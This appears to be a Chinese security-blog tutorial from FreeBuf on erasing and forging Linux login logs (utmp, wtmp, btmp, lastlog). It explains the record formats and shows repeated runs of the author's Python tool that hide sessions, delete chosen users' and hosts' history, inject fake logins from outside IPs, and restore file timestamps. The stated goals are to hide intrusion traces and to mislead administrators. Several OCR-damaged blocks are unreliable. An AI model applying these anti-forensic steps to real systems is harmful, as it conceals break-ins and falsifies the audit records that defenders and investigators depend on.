渗透测试TIPS之删除、伪造Linux系统登录日志 - FreeBuf互联 网安全新媒体平台

freebuf.com/articles/system/141474.html

渗透测试TIPS之删除、伪造Linux系统登录日志

PS:本文仅限技术分享与讨论,严禁用于非法用途,任何非法利用与本文作者及FreeBuf无关

0×00. 引言

擦除日志在渗透测试中是非常重要的一个阶段,这样可以更好地隐藏入侵痕迹,做到不被系统管理人员察觉,实现长期潜伏的目的。 前段时间NSA泄露的渗透测试工具中就有一款wtmp日志的擦除,非常好用,这引起了我的兴趣,于是研究了一下linux 登录相关二进制日志的文件格式,用python写了一个日志擦除,伪造的工具(末尾附源码)

0×01. Linux中与登录有关的日志及其格式分析

Linux中涉及到登录的二进制日志文件有

/var/run/utmp

/var/log/wtmp

/var/log/btmp

/var/log/lastlog

其中 utmp 对应w 和 who命令; wtmp 对应last命令;btmp对应lastb命令;lastlog 对应 lastlog命令

经查Linux man 手册,

/var/run/utmp /var/log/wtmp

/var/log/btmp

的二进制格式都是一样的, 我们姑且称之为xtmp 格式

而/var/log/lastlog 文件的格式与之不同,需单独分析,下面我们先分析xtmp的文件格式吧, 这里以utmp 格式为例

UTMP 文件格式

utmp 文件格式是这样的:

```
#define UT LINESIZE 32
#define UT_NAMESIZE 32
#define UT_HOSTSIZE 256
  struct utmp {
    short ut_type;
    pid_t ut_pid;
    char ut_line[UT_LINESIZE];
    char ut_id[4];
    char ut_user[UT_NAMESIZE];
    char ut_host[UT_HOSTSIZE];
    struct exit_status ut_exit;
  #if __WORDSIZE == 64 && defined __WORDSIZE_COMPAT32
    int32_t ut_session;
    struct {
       int32_t tv_sec;
      int32_t tv_usec;
    } ut_tv;
  #else
     long ut_session;
     struct timeval ut_tv;
  #endif
    int32_t ut_addr_v6[4];
    char _unused[20];
  };
其中 exit_status 结构为:
struct exit_status {
```

```
short int e termination;
    short int e exit;
 };
其中 ut type 为日志记录的类型,主要有以下几种日志
  #define EMPTY
 #define RUN_LVL
 #define BOOT TIME
 #define NEW_TIME
  #define OLD TIME
  #define INIT_PROCESS 5
 #define LOGIN PROCESS 6
  #define USER PROCESS 7
  #define DEAD PROCESS 8
  #define ACCOUNTING 9
 #define UT LINESIZE 32
  #define UT NAMESIZE
  #define UT_HOSTSIZE
                      256
```

utmp 记录例子(二进制内容解析处理后):

```
restfield 2-2: ** priton freet2, py
restfield data free ** priton freet2, py
restfield data freet2, py
restfield data
```

对比utmp的文件格式结构,挑几个重要的字段解释下

第1个字段7表示这条记录类型,一般的用户正常登录记录类型都是7,错误登录是6,也就是 btmp所记录的类型

第2个字段1497 是pid ,截图中我是用ssh远程登录linux,这里指的就是sshd的子进程bash的 pid

第3个字段pts/0表示的登录的伪终端,后面一串\0是填充的数据

第4个字段 ts/0表示的伪终端的后缀

第5个字段root表示登录用户名,后面一串\0是填充数据,因为这个字段为32个字节大小

第6个字段10.1.100.1 表示的是登录主机,后面一串\0是填充数据,因为这个字段为256个字节 大小

第10个字段表示的是登录时间,精确到秒

第11个字段表示的是登录时间中微妙部分

第12个字段表示的是登录sessionid

lastlog 文件格式:

```
#define UT_LINESIZE 32
#define UT_HOSTSIZE 256
struct lastlog
{
    __time_t II_time;
    char II_line[UT_LINESIZE];
    char II_host[UT_HOSTSIZE];
};
```

lastlog 记录例子(二进制内容解析处理后):



第1个字段表示最后一次登录时间

第2个字段表示最后一次登录的终端

第3个字段表示最后一次登录的IP

0×02. 擦除, 伪造登录日志的测试

1.删除utmp记录,将自己从w或者who输出中隐藏

比如此时有两个登录记录,一个是root(要删除的记录),一个是f3

删除前:

```
12:02:33 up
                   2 users,
                               load average: 0.00, 0.00, 0.00
                                                   JCPU
                                   LOGIN@
                                            IDLE
                                                           PCPU WHAT
USER
                  FROM
                                            0.00s 0.41s 0.00s w
                  10. 1. 100. 1
                                   10:52
root
                  10. 1. 100. 1
                                   12:02
                                            8.00s 0.08s 0.08s -bash
```

删除后:

```
root@kali2-2: "# python fake_login_log.py --mode delete --type=utmp --user=root
delete
root@kali2-2: "# w

12:03:22 up 2:52, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
f3 pts/1 10.1.100.1 12:02 57.00s 0.08s -bash
root@kali2-2: "#
```

1. 添加utmp记录,伪造登录信息

添加前:

```
root@kali2-2:~# w
14:15:11 up 5:04, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 10.1.100.1 14:15 4.00s 0.05s 0.00s w
root@kali2-2:~#
```

添加后:

注: 添加Fake 在线记录的时候,pid必须可以找到相应进程,一般可以使用sshd的或者是bash的相关PID

```
root@kali2-2:~# ps -ef | grep bash
                        2067 0 14:15 pts/0
              2078
                                                      00:00:00 -bash
root
                        2078 0 14:17 pts/0
               2101
                                                      00:00:00 grep bash
root
root@kali2-2:~# ps
root 627
                     -ef grep sshd
1 0 09:11 ?
627 0 14:15 ?
                                              00:00:00 /usr/sbin/sshd -D 00:00:00 sshd: root@pts/0
root
            2067
root
                    2078 0 14:16 pts/0
            2094
                                               00:00:00 grep sshd
root
root@kali2-2:~#
```

2.删除历史登录记录(wtmp)

删除前:

```
root@kali2-2:~# last
         pts/0
                        10. 1. 100. 1
                                           Mon Jul 24 14:15
root
                                                                still logged in
                                                                 gone
                                           Mon Jul 24 14:12
f3
                        10.1.100.1
         pts/1
                                                                       - no logout
                        10. 1. 100. 1
                                           Mon Jul 24 13:53 - 14:15
         pts/0
                                                                        (00:21)
root
f3
                        10.1.100.1
                                           Mon Jul 24 12:02 - 12:06
                                                                        (00:04)
         pts/1
                        10.1.100.1
                                           Mon Jul 24 12:02 - 12:02
                                                                        (00:00)
         pts/1
root
                        10.1.100.1
                                          Mon Jul 24 11:59 - 12:01
f3
         pts/1
                                                                        (00:02)
                                          Mon Jul 24 10:52 - 13:53
         pts/0
                        10.1.100.1
                                                                        (03:00)
root
                        10. 1. 100. 1
                                          Mon Jul 24 09:59
                                                             - 11:59
                                                                        (01:59)
         pts/1
root
         pts/0
                        10. 1. 100. 1
                                           Mon Jul 24 09:34
                                                             - 10:52
                                                                        (01:17)
root
         system boot 4.9.0-kali3-amd6 Mon Jul 24 09:10
                                                                      running
                                                                still
reboot
                        10. 1. 100. 1
                                           Thu Jul 20 10:02
         pts/1
                                                             down
                                                                        (01:29)
root
                                                                        (03:53)
root
         pts/0
                        10. 1. 100. 1
                                           Thu Jul 20 07:38
                                                             down
         pts/0
                        10. 1. 100. 1
                                           Thu Jul 20 06:59
                                                             - 07:21
                                                                        (00:22)
root
         pts/2
                        10.1.100.3
                                           Thu Jul 20
                                                      05:49
                                                             - 05:49
                                                                        (00:00)
root
                        10.1.100.1
                                           Thu Jul 20
                                                      05:40
                                                             - 06:40
         pts/1
                                                                        (01:00)
root
                                           Thu Jul 20 05:19
                        10.1.100.2
                                                             - 05:30
                                                                        (00:11)
root
         pts/1
                                           Thu Jul 20 02:58
         pts/2
                        10.1.100.1
                                                             - 05:17
f3
                                                                        (02:19)
                                           Thu Jul 20 02:22
f3
         pts/2
                        10. 1. 100. 1
                                                             - 02:56
                                                                        (00:34)
                                           Thu Jul 20 01:47 - 05:17
root
         pts/1
                        10.1.100.1
                                                                        (03:29)
         pts/0
                        10. 1. 100. 1
                                           Wed Jul 19 23:53 - 06:43
                                                                        (06:49)
root
f3
                        10. 1. 100. 110
                                           Wed Jul 19 22:47 - 05:17
                                                                        (06:30)
         pts/3
f3
                        10. 1. 100. 100
                                           Wed Jul 19 22:05 - down
                                                                        (13:27)
         pts/7
f3
                        10. 1. 100. 1
                                           Wed Jul 19 22:38 - 22:47
                                                                        (00:08)
         pts/3
f3
                                           Wed Jul 19 22:05 - 22:05
                        10. 1. 100. 100
                                                                        (00:00)
         pts/7
f3
                                           Wed Jul 19 22:05 - down
                        10. 1. 100. 100
         pts/6
                                                                        (13:27)
```

删除指定用户,指定host的历史登录记录

```
root@kali2-2: "# python fake_login_log.py --mode delete --type=wtmp --user=root --host="10.1.100.1" delete root@kali2-2: "# |
```

删除后:

```
delete
      cali2-2:~# last
f3
                         10. 1. 100. 1
                                            Mon Jul 24 14:12
          pts/1
                                                                   gone
                                                                           no logout
                                            Mon Jul 24 12:02
                                                                  12:06
f3
                         10. 1. 100. 1
          pts/1
                                                                           (00:04)
                                             Mon Jul 24 11:59
                         10. 1. 100. 1
                                                                -12:01
          pts/1
                                                                           (00:02)
f3
                                            Mon Jul 24 09:10
                                                                  still
                         4. 9. 0-kali3-amd6
                                                                         running
reboot
          system boot
                                             Thu Jul 20 05:49
          pts/2
                         10. 1. 100. 3
                                                                -05:49
                                                                           (00:00)
root
                                             Thu Jul 20 05:19
                         10. 1. 100. 2
                                                                  05:30
                                                                           (00:11)
root
          pts/1
          pts/2
                         10. 1. 100. 1
                                             Thu Jul 20
                                                         02:58
                                                                           (02:19)
                                                                  05:17
f3
          pts/2
                                             Thu Jul 20
                                                         02:22
                                                                  02:56
f3
                         10. 1. 100. 1
                                                                           (00:34)
                                                         22:47
f3
                         10. 1. 100. 110
                                            Wed Jul 19
                                                                  05:17
                                                                           (06:30)
          pts/3
          pts/7
                                            Wed Jul 19
                                                         22:05
f3
                         10. 1. 100. 100
                                                                           (13:27)
                                                                  down
                                                                  22:47
                                            Wed Jul 19
                                                         22:38
f3
                         10. 1. 100. 1
                                                                           (00:08)
          pts/3
                                                         22:05
                                                                  22:05
f3
                                            Wed Jul 19
                                                                           (00:00)
          pts/7
                         10. 1. 100. 100
                         10.1.100.100
                                                     19 22:05
f3
          pts/6
                                            Wed Jul
                                                                  down
                                                                           (13:27)
```

3.添加wtmp记录

```
rootMkali2-2: # python fake_login_log.py --mode delete --type=wtmp --user=f3 --host="202.113.89.72" --tty="pts/6" --date="2017-07-24 10:54" delete rootMkali2-2: # python fake_login_log.py --mode add --type=wtmp --user=f3 --host="202.113.89.72" --tty="pts/6" --date="2017-07-24 10:54" add rootMkali2-2: # python fake_login_log.py --mode add --type=wtmp --user=f3 --host="202.113.89.56" --tty="pts/6" --date="2017-07-24 10:54" add rootMkali2-2: # python fake_login_log.py --mode add --type=wtmp --user=f3 --host="202.113.89.18" --tty="pts/6" --date="2017-07-24 10:54" add rootMkali2-2: # last f3 pts/6 202.113.89.18 Mon Jul 24 10:51 gone - no logout f3 pts/6 202.113.89.56 Mon Jul 24 10:54 - 10:51 (00:-3) f3 pts/6 202.113.89.72 Mon Jul 24 10:54 - 10:54 (00:00) f3 pts/1 10.1.100.1 Mon Jul 24 12:02 - 12:06 (00:04) f3 pts/1 10.1.100.1 Mon Jul 24 11:59 - 12:01 (00:02)
```

4.删除btmp记录

删除前

```
li2-2: # lastb
           ssh:notty
hacker
                           10.1.100.1
                                                Mon Jul 24 14:49 - 14:49
                                                                                 (00:00)
                                                Mon Jul 24 14:49 - 14:49
hacker
           ssh:notty
                           10. 1. 100. 1
                                                                                  (00:00)
                                                Mon Jul 24 14:49 - 14:49
                           10. 1. 100. 1
                                                                                  (00:00)
hacker
           ssh:notty
                                                Mon Jul 24 14:49 - 14:49
Mon Jul 24 14:49 - 14:49
Mon Jul 24 14:49 - 14:49
                           10. 1. 100. 1
                                                                                  (00:00)
hacker
           ssh:notty
                           10. 1. 100. 1
hacker
           ssh:notty
                                                                                  (00:00)
                           10. 1. 100. 1
                                                                                 (00:00)
hacker
           ssh:notty
                           10.1.100.1
                                                Mon Jul 24 14:49 - 14:49
           ssh:notty
                                                                                 (00:00)
f3
                                                Mon Jul 24 14:49 - 14:49
                           10.1.100.1
f3
           ssh:notty
                                                                                  (00:00)
                                                Mon Jul 24 14:48 - 14:48
f3
                           10. 1. 100. 1
                                                                                  (00:00)
           ssh:notty
                                                Mon Jul 24 14:48 - 14:48
                           10. 1. 100. 1
f3
           ssh:notty
                                                                                  (00:00)
                           10. 1. 100. 1
                                                                                  (00:00)
f3
           ssh:notty
                           10. 1. 100. 1
f3
           ssh:notty
                                                                                 (00:00)
          pts/8
                           10.1.200.1
                                                Mon Jul 24 10:23 - 10:23
wenjian
                                                                                 (00:00)
                                                Mon Jul 24 10:21 - 10:21
                           10.1.200.1
          pts/8
wenjian
                                                                                 (00:00)
                           10. 1. 100. 1
                                                Tue Jul 18 01:07 - 01:07
                                                                                 (00:00)
           ssh:notty
root
                                                Tue Jul 18 01:07 - 01:07
           ssh:notty
                           10.1.100.1
                                                                                 (00:00)
root
btmp begins Tue Jul 18 01:07:10 2017
```

hacker 这个账户有很多次尝试登录记录

删除后:

```
ali2-2: # python fake_login_log.py --mode delete --type=btmp --user=hacker
delete
       kali2-2:~# lastb
ssh:notty
                                                              Mon Jul 24 14:49 - 14:49
Mon Jul 24 14:49 - 14:49
Mon Jul 24 14:48 - 14:48
                                   10. 1. 100. 1
                                   10. 1. 100. 1
10. 1. 100. 1
f3
                                                                                                          (00:00)
              ssh: notty
f3
              ssh: notty
                                                                                                          (00:00)
                                   10. 1. 100. 1
f3
              ssh: notty
                                                                                                          (00:00)
f3
                                   10.1.100.1
                                                                                                          (00:00)
              ssh:nottv
                                   10. 1. 100. 1
                                                                                                          (00:00)
f3
              ssh:notty
                                                               Mon Jul 24 10:23 -
Mon Jul 24 10:21 -
                                   10. 1. 200. 1
10. 1. 200. 1
                                                                                                          (00:00)
wenjian
              pts/8
                                                                                              10:23
                                                                                              10:21
wenjian
              pts/8
                                                                                                          (00:00)
                                                               Tue Jul 18 01:07 - 01:07
Tue Jul 18 01:07 - 01:07
                                                                                                          (00:00)
                                   10. 1. 100. 1
root
              ssh:notty
              ssh:notty
                                   10, 1, 100, 1
                                                                                                          (00:00)
btmp begins Tue Jul 18 01:07:10 2017
```

5.添加btmp 伪造记录

```
# python fake_login_log.py --mode add
                                                         --type=btmp --user=root --host="202.113.89.18" --tty="pts/6"
 tali2-2: "# python fake_login_log.py --mode add --type=btmp --user=root --host="202.113.89.77" --date="2017-07-23 22:51"
Mali2-2: "# python fake_login_log.py --mode add --type-btmp --user=root --host="202.113.89.77" --date="2017-07-23 22:52"
Mali2-2: # python fake_login_log.py --mode add --type=btmp --user=root --host="202.113.89.77" --date="2017-07-23 22:53"
kali2-2:"# python fake_login_log.py --mode add --type=btmp --user=root --host="202.113.89.77" --date="2017-07-23 22:54"
Mali2-2: "# python fake_login_log.py --mode add --type=btmp --user=root --host="202.113.89.77" --date="2017-07-23 22:55"
  ali2-2: "# lastb
ssh:notty
ssh:notty
                    202. 113. 89. 77
202. 113. 89. 77
202. 113. 89. 77
202. 113. 89. 77
                                                              22:55
22:54
22:53
22:52
                                                 23
23
23
23
                                                     22:55 -
22:54 -
22:53 -
22:52 -
                                                                       (00:00)
(00:00)
                                             Jul
Jul
                                                                       (00:00)
(00:00)
     ssh: notty
                                                                        (00:00)
```

6.删除lastlog 记录

hacker 用户最后一次登录记录,删除前:

```
**Never logged in**
mysql
epmd
                                                      **Never logged in**
Debian-exim
                                                      **Never logged in**
                                                      **Never logged in**

**Never logged in**

**Never logged in**
uuidd
rwhod
redsocks
                                                      **Never logged in**
usbmux
                                                      **Never logged in**
miredo
                                                      **Never logged in**
Debian-snmp
                                                      **Never logged in**
ntp
stunnel4
                                                      **Never logged in**
sslh
                                                      **Never logged in**
                                                      **Never logged in**
**Never logged in**
**Never logged in**
**Never logged in**
rtkit
postgres
dnsmasq
messagebus
                                                      **Never logged in**
iodine
                                                      **Never logged in**
arpwatch
                                                      **Never logged in**
couchdb
                                                      **Never logged in**
avahi
sshd
                                                      **Never logged in**
colord
                                                      **Never logged in**
                                                      **Never logged in**
saned
                                                      **Never logged in**

**Never logged in**

**Never logged in**

**Never logged in**
speech-dispatcher
pulse
king-phisher
Debian-gdm
dradis
                                                      **Never logged in**
beef-xss
                                                      **Never logged in**
                                                      Mon Jul 24 14:15:07 +0800 2017
                                10. 1. 100. 1
hacker
                     pts/0
```

删除后:

```
root@kali2-2: # python fake_login_log.py --mode delete --type=lastlog --date="2017-7-24 14:15:07" delete
```

```
mysql
                                             **Never logged in**
epmd
                                            **Never logged in**
Debian-exim
                                            **Never logged in**
uuidd
                                            **Never logged in**
rwhod
                                            **Never logged in**
redsocks
                                            **Never logged in**
usbmux
                                             **Never logged in**
miredo
                                             **Never logged in**
                                             **Never logged in**
Debian-snmp
ntp
                                            **Never logged in**
stunnel4
                                             **Never logged in**
sslh
                                            **Never logged in**
rtkit
                                            **Never logged in**
                                            **Never logged in**
postgres
                                            **Never logged in**
dnsmasq
                                            **Never logged in**
messagebus
iodine
                                            **Never logged in**
arpwatch
                                            **Never logged in**
couchdb
                                            **Never logged in**
avahi
                                            **Never logged in**
sshd
                                            **Never logged in**
colord
                                            **Never logged in**
                                            **Never logged in**
saned
speech-dispatcher
                                             **Never logged in**
pulse
                                            **Never logged in**
king-phisher
                                            **Never logged in**
                                            **Never logged in**
Debian-gdm
                                            **Never logged in**
dradis
beef-xss
                                             **Never logged in**
hacker
                                            **Never logged in**
redis
                                             **Never logged in**
mongodb
                                            **Never logged in**
```

7.添加伪造的lastlog记录

python fake_login_log.py -mode add -type=lastlog -user=hacker -date="2017-7-24" 14:22:07

这里说明一下:lastlog中并不记录用户名,而是根据文件偏移位置来计算当前记录的用户名是多少,比如当前用户是f3,其UID为1001,那么lastlog 日志从头开始向后移动 1001 × LAST_STRUCT_SIZE处的位置则为f3用户最后一次登录记录写入处(用户即使没有最后一次登录记录,在相应的偏移处都会有记录,这就是我们使用lastlog看到的never login的记录)

0×03. 源码

直接帖源码,格式上可能会影响阅读体验,帖下我的在线源码地址吧:点击打开在线源码

0×04. 总结

目前此工具可以实现对:

/var/run/utmp

/var/log/wtmp

/var/log/btmp

/var/log/lastlog

进行删除,添加伪造记录功能,并且在修改相关文件后恢复其时间属性值(比如文件访问时间和文件修改时间),有人会说了,直接echo "" >/var/log/xtmp 不就行了吗,干嘛这么麻烦,直接删除是很好,不过有点粗暴。 本工具不仅可以实现按照 登录主机,登录用户, 时间戳等条件进行按需删除,还可以添加伪造登录记录,以达到迷惑系统管理员之目的。需要补充一点的是,目前还未实现根据时间区间来删除指定记录,也希望有兴趣的同学补充一下

参考:

- 1) https://linux.die.net/man/5/utmp
- 2) https://github.com/krig/lastlog/blob/master/lastlog.c

*本文作者:knpewg85942,转载请注明FreeBuf.COM